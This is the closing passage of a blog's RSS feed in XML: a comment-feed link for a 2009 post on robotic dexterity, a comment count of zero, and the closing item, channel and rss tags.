			<wfw:commentRss>http://www.kgadams.net/2009/08/22/robotic-dexterity/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

